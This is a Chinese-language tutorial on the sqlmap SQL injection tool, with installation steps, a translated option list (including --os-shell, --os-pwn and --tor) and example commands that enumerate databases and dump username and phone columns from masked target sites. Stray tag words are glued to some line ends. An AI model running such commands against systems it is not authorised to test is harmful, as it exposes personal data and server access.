安全測試工具之sqlmap

  • 介紹

       官方網址:http://sqlmap.org
  Github地址:https://github.com/sqlmapproject/sqlmap
  中文使用說明:http://www.91ri.org/6775.htmlphp

Sqlmap是一種開源的滲透測試工具,能夠自動檢測和利用SQL注入漏洞以及接入該數據庫的服務器。它擁有很是強大的檢測引擎、具備多種特性的滲透測試器、經過數據庫指紋提取訪問底層文件系統並經過外帶鏈接執行命令。
支持的數據庫:MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase and SAP MaxDB 
SQL注入技術:boolean-based blind, time-based blind, error-based, UNION query, stacked queries and out-of-band
枚舉數據:users, password hashes, privileges, roles, databases, tables and columnshtml

  • 安裝

    直接在Linux服務器在線安裝(比較慢),也能夠去官網下載後解壓。python

        git clone https://github.com/sqlmapproject/sqlmap.git /alidata/sqlmapgit

 

  • 經常使用命令介紹

  • get注入檢測
    python sqlmap.py -u "http://xxxxxxx.com/report/businessOverview/index"?shopIds=810077870
  • 單個post注入檢測

        python sqlmap.py -u "http://xxxxxxxxxxx.com/report/businessOverview/index" --data "shopIds=810077870"github

  • 獲取全部數據庫名

        python sqlmap.py -u "http://xxxxxxxxxxx.com/list/?type=109-if((length(database())=4),0,1)" --dbssql

  • 獲取指定數據庫的表信息

        python sqlmap.py -u "http://xxxxxxxxxxx.com/list/?type=109-if((length(database())=4),0,1)" -D mall --tablesshell

  • 獲取表字段名

       python sqlmap.py -u "http://xxxxxxxxxx.com/list/?type=109-if((length(database())=4),0,1)" -D mall -T orderlist --columns數據庫

  • 獲取字段內容

      python sqlmap.py -u "http://xxxxxxxxx.com/list/?type=109-if((length(database())=4),0,1)" -D mall -T orderlist -C "username,phone" --dump後端

  • sqlmap選項

  目標:至少要選中一個參數
    -u URL, --url=URL   目標爲 URL (例如. "http://www.site.com/vuln.php?id=1")
    -g GOOGLEDORK       將谷歌dork的結果做爲目標url
  請求:
    這些選項可用於指定如何鏈接到目標URL
    --data=DATA         數據字符串經過POST發送
    --cookie=COOKIE     HTTP Cookie的值
    --random-agent      隨機選擇 HTTP User-Agent 頭的值
    --proxy=PROXY       使用代理去鏈接目標URL
    --tor               使用匿名網絡
    --check-tor         檢查Tor是否正確使用
  注入:
    這些選項可用於指定要測試哪些參數,提供自定義注入負載和可選篡改腳本
    -p TESTPARAMETER    可測試的參數
    --dbms=DBMS         將後端DBMS強制到此值
  檢測:
    這些選項可用於定製檢測階段
    --level=LEVEL       執行的測試級別(1-5, 默認 1)
    --risk=RISK         執行測試的風險 (1-3, 默認 1)
  技術:
    這些選項可用於調整特定SQL注入的測試的技術
    --technique=TECH    SQL注入技術選擇 (默認 "BEUSTQ")
  枚舉:
    T這些選項可用於枚舉後端數據庫管理系統的信息、結構和數據表。此外,還能夠運行本身的SQL語句
    -a, --all           檢索所有
    -b, --banner        檢索 banner
    --current-user      檢索當前用戶
    --current-db        檢索當前數據庫
    --passwords         列出用戶密碼的hash值
    --tables            列出表
    --columns           列出字段
    --schema            列出DBMS schema
    --dump              Dump DBMS數據庫表的條目
    --dump-all          Dump 全部DBMS數據庫表的條目
    -D DB               指定數據庫
    -T TBL              指定表
    -C COL              指定字段
  操做系統訪問:
    這些選項可用於訪問後端數據庫管理系統底層操做系統
    --os-shell          提示爲交互式操做系統shell
    --os-pwn            提示爲OOB外殼,Meterpreter或VNC
  通用:
    這些選項可用於設置一些通用的工做參數
    --batch             永遠不要要求用戶輸入,使用默認行爲
    --flush-session     刷新當前目標的會話文件
  雜項:
    --sqlmap-shell      提示輸入交互式sqlmap shell
    --wizard            初學者的簡單向導界面安全

 

        

 

  • 獲取指定數據庫的表信息

         python sqlmap.py -u "http://xxxxxxxxxxxxx.com/list/?type=109-if((length(database())=4),0,1)" -D mall --tables

        

 

  • 獲取表字段名

        python sqlmap.py -u "http://xxxxxxxxxxxxx.com//list/?type=109-if((length(database())=4),0,1)" -D mall -T orderlist --columns

     

 

  • 獲取字段內容

          python sqlmap.py -u "http://xxxxxxxxx.com/list/?type=109-if((length(database())=4),0,1)" -D mall -T orderlist -C "username,phone" --dump

 

  • 無sql注入危險示例

    python sqlmap.py -u "http://xxxxxxxxx.com/shopform.html" --data "tel=130555554837"  --batch

 

相關文章
相關標籤/搜索